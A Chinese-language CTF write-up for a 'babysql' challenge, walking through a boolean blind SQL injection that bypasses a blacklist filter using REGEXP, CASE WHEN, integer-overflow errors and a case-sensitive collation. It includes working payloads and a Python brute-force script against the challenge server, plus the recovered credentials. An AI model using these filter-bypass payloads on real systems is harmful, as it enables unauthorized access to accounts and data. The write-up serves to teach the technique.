全靠队友抬进前20(wjh yyds!
babysql
给了个hint.md
```sql CREATE TABLE `auth` ( `id` int NOT NULL AUTO_INCREMENT, `username` varchar(32) NOT NULL, `password` varchar(32) NOT NULL, PRIMARY KEY (`id`), UNIQUE KEY `auth_username_uindex` (`username`) ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci; ``` ```js import { Injectable } from '@nestjs/common'; import { ConnectionProvider } from '../database/connection.provider'; export class User { id: number; username: string; } function safe(str: string): string { const r = str .replace(/[\s,()#;*\-]/g, '') .replace(/^.*(?=union|binary).*$/gi, '') .toString(); return r; } @Injectable() export class AuthService { constructor(private connectionProvider: ConnectionProvider) {} async validateUser(username: string, password: string): Promise<User> | null { const sql = `SELECT * FROM auth WHERE username='${safe(username)}' LIMIT 1`; const [rows] = await this.connectionProvider.use((c) => c.query(sql)); const user = rows[0]; if (user && user.password === password) { // eslint-disable-next-line @typescript-eslint/no-unused-vars const { password, ...result } = user; return result; } return null; } } ```
这道题过滤得有点多,连括号都没了,并且结果不回显,那应该是盲注了
出题人给了个提示,regexp,这个函数常用来盲注,正则匹配,最重要的是这个函数可以不用空格,那这道题肯定是要用这个函数来盲注了
盲注可以参考这篇文章:一篇文章带你深入理解 SQL 盲注 - 安全客,安全资讯平台 (anquanke.com)
无非这么几种:报错注入,布尔盲注,时间盲注
时间盲注不大可行,sleep需要的括号被扬掉了,其他的语句叠加啥的也不是特别靠谱;然后就是报错注入,那需要报错有回显才行,这里服务器只返回状态,不太行,那只剩布尔盲注了,但关键是要怎么找到判断点呢?
布尔盲注最关键的就是让回显不同,服务器只回显401和500,那看来还是要人工制造报错才行,正确执行401,出错500,这就是判断点。
制造报错可以看这篇文章:MYSQL报错注入的一点总结 - 先知社区 (aliyun.com),这里可以用整型溢出来报错,mysql8版本足够高了,用1-~1类似的整型溢出即可,最后我是用的~1+1+1&'1',就是为了符合语法
现在有了制造报错的语句,有了匹配的语句,就差一个条件判断语句(开关)把它们给串起来了。
其实一开始我是想用1/0,不过不报错只是返回NULL,后面想用短路特性,但是显然对短路特性的理解不是很够,把我当时想用的payload贴出来:
SELECT * FROM auth WHERE username='1'or`username`regexp'^a'or'1'&1-~1&'1' LIMIT 1
然后本地测试无论如何都是报整型溢出,无论匹配是否正确,也就是说直接算了后面的数学表达式
经过测试,发现是优先级的问题。数学表达式的计算优先于regexp语句,所以短路特性不成立,短路特性只能在优先级相同的两个语句中成立。所以如果想要使用短路语句,需要在同级语句之间使用,最实用的案例应该就是sleep语句和数学表达式是同级的
那么怎么测试语句之间是否是同级的呢?很简单,交换位置,从结果判断是执行了哪个语句
比如:
extractvalue语句和updatexml语句用or连接时是谁在前面就执行谁,所以它们是同级的
无论是哪一个在前面,最后执行的都是~1+1+2,可见~1+1+2是优先级更高的
看来短路特性是没法用了,回到布尔盲注,由于IF需要逗号,这道题没办法用了。
搜一下MYSQL8 条件判断语句,找到了一个CASE WHEN,看看用法mysql case when then end 和 if判断 常见使用方法_老马历写记的博客-CSDN博客
看来既不需要逗号,还有返回值可以跟后面的引号做闭合。简直完美~
那么写出payload:
username=1'||case'1'when`username`regexp'^q'then'1'else~1+1+1&'1'end='1 password=1
(位运算符号和四则运算就拿来连接,~可以直接跟字母后面,用整型溢出做报错)
成功盲注~
不过还有两个问题:
一个是关于MYSQL的转义字符,正则表达式里面有很多字符是有特殊含义的,所以需要转义,所有要转义的字符戳这里:正则表达式中需要转义的字符 - 云+社区 - 腾讯云 (tencent.com)
不过我们也不知道用户名和密码里面有哪些特殊字符,不着急,可以先用_占位,把一些常用的特殊字符加进去慢慢找,或者直接暴力出奇迹:
import re for i in range(32,127): if not re.search(re.compile("\s|,|\(|\)|#|;|\*|\-"),chr(i)): //action
还有,MYSQL正则匹配的时候是要经过两次转义的
详见MySQL 中的反斜杠 \\,真是太坑了!! - SegmentFault 思否,可以本地搭一个环境试试,在字符串语法解析时会进行一次转义,然后在正则匹配的时候又会进行一次转义...
所以说,我们传入的SQL语句,一个特殊字符前面要有两个\才行
接下来是大小写的问题,我们都知道MYSQL查询是大小写不敏感的,所以而比较账号密码的时候又是大小写敏感的,所以会不匹配...
一种方法:直接暴力出奇迹,我的评价是NB
另一种方法:利用校验规则指定大小写敏感
搜一下MYSQL8 查询时指定大小写敏感,会找到关于collate函数的资料,接下来继续了解这个函数,发现与字符集有关,题目中给了sql语句,里面有字符集,搜一下就会知道,在查询的时候指定collate'utf8mb4_0900_as_ci'即可大小写敏感
而且MYSQL8默认大小写敏感,既然查询不敏感那肯定是做了设置
所以说,一个是积累少了,一个是搜索还不够细致和精准,要一个一个可能性去验证
那么最终exp:
import string import pymysql import requests import re url = "http://47.107.231.226:28192/login" username = "QaY8TeFYzC67aeoO" while (1): char_set="!@$%^&_+"+string.ascii_letters+string.digits for i in char_set: if i=='$' or i=='^' or i=='+': i="\\\\"+i print(i) data = { 'username': "1'||case'1'when`username`regexp'^{}'collate'utf8mb4_0900_as_cs'then'1'else~1+1+1&'1'end='1".format(username + i), 'password': '1' } r = requests.post(url=url, data=data) print(data) if (r.status_code == 401): username += i print("username:"+username) break
密码自己改一下就行,最后的账号密码:
QaY8TeFYzC67aeoO
m52FPlDxYyLB^eIzAr!8gxh$
输入登录,拿到flag~
文章评论